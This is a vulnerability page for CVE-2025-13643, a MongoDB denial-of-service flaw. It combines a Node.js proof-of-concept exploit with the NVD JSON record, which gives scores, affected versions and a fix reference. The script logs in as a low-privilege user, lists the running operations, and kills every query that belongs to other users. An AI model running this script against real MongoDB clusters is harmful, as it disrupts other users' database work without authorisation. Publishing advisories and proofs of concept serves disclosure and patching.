CVE-2025-13643

// CVE-2025-13643 PoC - MongoDB Query Termination Vulnerability // Requires low-privilege user with cluster access const { MongoClient } = require('mongodb'); async function exploitCVE202513643() { const targetHost = 'mongodb://target-server:27017'; const attackerCredentials = { user: 'limited_user', password: 'low_privilege_pass' }; const client = new MongoClient(targetHost, { auth: attackerCredentials, authSource: 'admin' }); try { await client.connect(); const adminDb = client.db('admin'); // Step 1: Identify active queries from other users const activeOperations = await adminDb.adminCommand({ currentOp: 1, $all: false }); console.log('Active operations found:', activeOperations.inprog.length); // Step 2: Terminate queries from other users for (const op of activeOperations.inprog) { if (op.usr !== attackerCredentials.user && op.opid) { console.log(`Terminating operation ${op.opid} from user ${op.usr}`); await adminDb.adminCommand({ killOp: 1, op: op.opid }); console.log(`Successfully terminated query: ${op.opid}`); } } console.log('CVE-2025-13643 exploitation completed'); } catch (error) { console.error('Exploitation failed:', error.message); } finally { await client.close(); } } exploitCVE202513643(); // Defense: Upgrade to MongoDB Server v7.0.26+ or v8.0.14+

{"cve": {"id": "CVE-2025-13643", "sourceIdentifier": "[email protected]", "published": "2025-11-25T06:15:45.580", "lastModified": "2025-12-11T23:20:36.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A user with access to the cluster with a limited set of privilege actions may be able to terminate queries that are being executed by other users. This may cause a denial of service by preventing a fraction of queries from successfully completing. This issue affects MongoDB Server v7.0 versions prior to 7.0.26 and MongoDB Server v8.0 versions prior to 8.0.14"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.26", "matchCriteriaId": "8788DEE3-96FD-4F62-BE22-EB3F9C4DD73F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:-:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.14", "matchCriteriaId": "DB40CA6D-51A5-4D61-979F-E71C50C96B65"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:8.2.0:alpha:*:*:-:*:*:*", "matchCriteriaId": "5BF4D317-BC85-4BA9-9D64-91F14C4398F2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:8.2.0:alpha0:*:*:-:*:*:*", "matchCriteriaId": "64806572-E654-4691-90A6-C978BAD30263"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:8.2.0:alpha1:*:*:-:*:*:*", "matchCriteriaId": "870C35A8-B7C5-4CC0-A8D6-D39DE370EEA9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:8.2.0:alpha2:*:*:-:*:*:*", "matchCriteriaId": "FCFCFC59-331F-47E1-9EA4-A0CA3D9F7989"}]}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-103582", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}